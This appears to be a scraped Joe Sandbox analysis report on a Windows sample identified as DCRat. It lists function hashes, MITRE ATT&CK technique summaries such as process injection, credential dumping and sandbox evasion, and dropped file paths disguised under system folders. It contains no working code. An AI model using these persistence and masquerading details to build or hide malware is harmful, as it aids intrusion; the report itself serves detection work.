Instruction Fuzzy Hash: 0FF1C770609A4D8FEBA8DF28C8557E977D1FF94310F04426ED85EC72D5CB38A9418B81

Function 00007FFD9BBCA79A Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1855254141.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bbc0000_0wdppTE7Op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1972364a29b91f4bbd4623a842863330e4ff67ad2bfa260dbfef445c5df87a6c
Instruction ID: 4321561950ce4a4784261dde8b4f0c166684761eca888c0bc3dfe370efe947b9
Opcode Fuzzy Hash: 1972364a29b91f4bbd4623a842863330e4ff67ad2bfa260dbfef445c5df87a6c
Instruction Fuzzy Hash: D141FE74A1950E8FDB98EF68C4A5ABE77B1FF58304F410579D00AD72E9DE35A881CB80

Function 00007FFD9BBD1090 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1855254141.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bbc0000_0wdppTE7Op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d876664d700f3b7f93619a6ad72265104ba151c012465128f0b3709d2606300c
Instruction ID: 117135bac74b264f31287714dd37ea5c3d855728fdcb59cb53c47f096a0d8b1e
Opcode Fuzzy Hash: d876664d700f3b7f93619a6ad72265104ba151c012465128f0b3709d2606300c
Instruction Fuzzy Hash: 07119A2158E3C14FD7538BB488B14913FF19E4726070A09EBC4C48F4B3D5596A2AE722

Analysis Process: 0wdppTE7Op.exePID: 8008, Parent PID: 2580COMMON

Executed Functions

Function 00007FFD9B800D78 Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000030.00000002.2343403804.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_7ffd9b800000_0wdppTE7Op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 575b33f273727c01273550b2256be55447d54dd5dd540d3658324826b353efe6
Instruction ID: 59ee633978a529bfd469d22ca9ad125ca418fbf326252506dd92beb316f82da2
Opcode Fuzzy Hash: 575b33f273727c01273550b2256be55447d54dd5dd540d3658324826b353efe6
Instruction Fuzzy Hash: 4491D175A18A8D4FE789EF6888657A97BE1FF99744F0100BAD089D73E6CB7C1401C741

Function 00007FFD9B8008D0 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000030.00000002.2343403804.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_7ffd9b800000_0wdppTE7Op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b09fc88c259dac604936de8575ac4b33cc2c6069e6e97a1544782ddcdad98a36
Instruction ID: 1f25dd0f9668ec053c055380659879c08cf4d9c16dc4253655a8761dfd5a82bf
Opcode Fuzzy Hash: b09fc88c259dac604936de8575ac4b33cc2c6069e6e97a1544782ddcdad98a36
Instruction Fuzzy Hash: 89417A22F1C5990EE304F7BC64A9AFC3790EF89369B1541FAD04EC71EBDD1868418285

Function 00007FFD9B8011A1 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000030.00000002.2343403804.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_7ffd9b800000_0wdppTE7Op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac905691913e6c72c7d125340c2eb51370371f57f53d170da25f881d1ef1f448
Instruction ID: 68165690861eb0a0f4b1d39bb1cf30b19e1328db95e40d82c8c4701ae68eab76
Opcode Fuzzy Hash: ac905691913e6c72c7d125340c2eb51370371f57f53d170da25f881d1ef1f448
Instruction Fuzzy Hash: DE319531A0D64E8FDB59EB68C8649F97BF0FF5A351B0505BAD049D72A2DB38A940C710

Function 00007FFD9B800998 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000030.00000002.2343403804.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_7ffd9b800000_0wdppTE7Op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 340f349ee2cff977ad5ea4baf987ab5ffd67a2cf570196cce54c7e362e91afa5
Instruction ID: d0b65a84b35d63c347493d3b151cb42f76d2979cf6ad09d4262be04942ca9416
Opcode Fuzzy Hash: 340f349ee2cff977ad5ea4baf987ab5ffd67a2cf570196cce54c7e362e91afa5
Instruction Fuzzy Hash: 66210320B2995D0FE798F76C54AABB936C6EF9D355B0100B9E44EC32E7DD28AC018241

Function 00007FFD9B8052EB Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000030.00000002.2343403804.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_7ffd9b800000_0wdppTE7Op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f72aea927517d9bce0be0d4347fafcfdaafaf0de91b9b79ad2257e69177b9fc8
Instruction ID: aee6e34259489d77b5212b57507aa7e25ed104c3989144b0649f554918e891b9
Opcode Fuzzy Hash: f72aea927517d9bce0be0d4347fafcfdaafaf0de91b9b79ad2257e69177b9fc8
Instruction Fuzzy Hash: 7B217621B1D90E4FEBB4EBA888B56F862D1EF5D740F0314B9D48DD32E2ED68AE404700

Function 00007FFD9B800C25 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000030.00000002.2343403804.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_7ffd9b800000_0wdppTE7Op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db61b6573b61da73e899be9b5a85d408bf79b5b283e11a58cd743ea6fe9b5800
Instruction ID: 6c6fa115de063f044abaa58767d8c6a0a7e849a7e99aace71620cde0dfdcc339
Opcode Fuzzy Hash: db61b6573b61da73e899be9b5a85d408bf79b5b283e11a58cd743ea6fe9b5800
Instruction Fuzzy Hash: B2210E36F1D68D4FD712A7B898250EC3770EF46365F1641B3D058C61D3DD3826468791

Function 00007FFD9B800C40 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000030.00000002.2343403804.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_7ffd9b800000_0wdppTE7Op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cf94aca084d38ec3bdd7d92e936fdd3bbd44bfd10483fc097f4e3e69c4bb84f
Instruction ID: 5f10f2bd3d13a94942d4ea0b3e4f03013dc37e344ee30fe5c5494d2f6378d0fb
Opcode Fuzzy Hash: 9cf94aca084d38ec3bdd7d92e936fdd3bbd44bfd10483fc097f4e3e69c4bb84f
Instruction Fuzzy Hash: 51010032E1E68C8FE712DBB4C8201DD7BB0EF46750F0641B3D084DB2A2D9382B458B90

Function 00007FFD9B800C48 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000030.00000002.2343403804.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_7ffd9b800000_0wdppTE7Op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1506f721ab504451164ad52b14b2481d3fd01cfb071bc4ee22608bf7cf7125e9
Instruction ID: f53045cad959dfc54422e6b655cb040a92a4fd23ce1a9022363801bc33be66ce
Opcode Fuzzy Hash: 1506f721ab504451164ad52b14b2481d3fd01cfb071bc4ee22608bf7cf7125e9
Instruction Fuzzy Hash: CA019A32E1E28D9FD712EBB4C8641DD7BB0EF46714F1641E7D084DB2A2D9386B458B90

Function 00007FFD9B800C50 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000030.00000002.2343403804.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_7ffd9b800000_0wdppTE7Op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2449791d3e4dffc58a91d29014c307da6fec42c9d272130de6bad3c1d395492
Instruction ID: 9440ab13c276c4a1c1d4bc779e854fd819427ecd8a088a4faa5b574086511be2
Opcode Fuzzy Hash: a2449791d3e4dffc58a91d29014c307da6fec42c9d272130de6bad3c1d395492
Instruction Fuzzy Hash: 9101AD31E1E38D9FE712EBB488645DD7BB0EF4A704F1641E3D084DB2A6D9386B448741

Function 00007FFD9B80532E Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000030.00000002.2343403804.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_7ffd9b800000_0wdppTE7Op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab1168237af686b3a4cde89a58438ad1054bb4c051985c26ebb7e7f9fc5b6d1c
Instruction ID: bf76088c9e3b8741bb915febcb874f66db2f5fed7dcc4521e81987df13eacb99
Opcode Fuzzy Hash: ab1168237af686b3a4cde89a58438ad1054bb4c051985c26ebb7e7f9fc5b6d1c
Instruction Fuzzy Hash: 0E011230A1991E8AEB74AF90DCA5AF873A1EF59341F1201B9C48DD31A2DD686B818A00

Function 00007FFD9B80255E Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000030.00000002.2343403804.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_7ffd9b800000_0wdppTE7Op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d60f200a326e6f6b50512e003367b1f79efe45c91d1b4c692503c336a8c163d
Instruction ID: f2b38e29bd5095972ba833d7a1c804a0aa9f41787836ed435001802626353c0b
Opcode Fuzzy Hash: 2d60f200a326e6f6b50512e003367b1f79efe45c91d1b4c692503c336a8c163d
Instruction Fuzzy Hash: 8EF04F30A08A088FCF54EF48C490E99B7F1FFA9314F144269D44AE32A0CB34E941CB81

Function 00007FFD9B805404 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000030.00000002.2343403804.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_7ffd9b800000_0wdppTE7Op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a561928cdd384144efbdc3caeb26d96674ca7e9c598352f0c95542819ea0b488
Instruction ID: 788f0b3e55173400b679ea210f096793a6d1a4687448b54a15db0da6363cf873
Opcode Fuzzy Hash: a561928cdd384144efbdc3caeb26d96674ca7e9c598352f0c95542819ea0b488
Instruction Fuzzy Hash: 1EF09030B0D50E4AEA74EB94D8B56F83391EF59381F120179C48EE32F3DD686B858600

Function 00007FFD9B803721 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000030.00000002.2343403804.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_7ffd9b800000_0wdppTE7Op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d598087c93d77724653202e1ba20d6f76c0cdf66d691c1972239f5cc14ece3a6
Instruction ID: 1d32b87a0b07b18eb79a3e19c70bdf4ac4ded119bab5ebfb7cf8b4f688988078
Opcode Fuzzy Hash: d598087c93d77724653202e1ba20d6f76c0cdf66d691c1972239f5cc14ece3a6
Instruction Fuzzy Hash: 9EE01220F1E51E4AF774A794C8617FD62629F98350F164078D45EA32E2DD38AE814740

Function 00007FFD9B8006A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000030.00000002.2343403804.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_7ffd9b800000_0wdppTE7Op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e25fd06895e1c1245042c32e3d9abb662e3c1358a0c08b5e55c728a62c769af0
Instruction ID: bd1cd6d77f40c777759a9f0db3dabe4535f5daed72e8406c0aacf206ad9c735f
Opcode Fuzzy Hash: e25fd06895e1c1245042c32e3d9abb662e3c1358a0c08b5e55c728a62c769af0
Instruction Fuzzy Hash: ECC00205F6B65E01E82573AA98660ECA1415FDDB91FD60172D598400A19C4D22950296

Function 00007FFD9B800B18 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000030.00000002.2343403804.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_7ffd9b800000_0wdppTE7Op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b764fbe3770bf2e3e072d769b89b0d506276cd4e1d123e9c4e624545fc2e8e70
Instruction ID: e7fd2fddd05ae1448ffbeefe9968c2e8e957e8385c96c64eee52d332ec427ee8
Opcode Fuzzy Hash: b764fbe3770bf2e3e072d769b89b0d506276cd4e1d123e9c4e624545fc2e8e70
Instruction Fuzzy Hash: CBC04C3152180D8FC954EB6DC98595476A0FF0D215BD60190E40DC7271E65A9D95D741

Function 00007FFD9B8006C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000030.00000002.2343403804.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_7ffd9b800000_0wdppTE7Op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 606a108adb96ed994b7fcb48703ee57f946d2e25b509b86dd695dfc0d35076ba
Instruction ID: 5d7953178f006093f55eb492eb5e3258a606513cc30b55dd1e0dba2e6e3deafe
Opcode Fuzzy Hash: 606a108adb96ed994b7fcb48703ee57f946d2e25b509b86dd695dfc0d35076ba
Instruction Fuzzy Hash: 8AB01200D6B40F00E42433FA08520E470405F4C380FC20070D48C400A19C4D12940382

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 0wdppTE7Op.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe

C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe:Zone.Identifier

C:\Program Files\Windows NT\TableTextService\dc45010803acc5

C:\ProgramData\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe

C:\ProgramData\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe:Zone.Identifier

C:\ProgramData\Microsoft OneDrive\dc45010803acc5

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\0wdppTE7Op.exe.log

Windows Analysis Report
0wdppTE7Op.exe

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre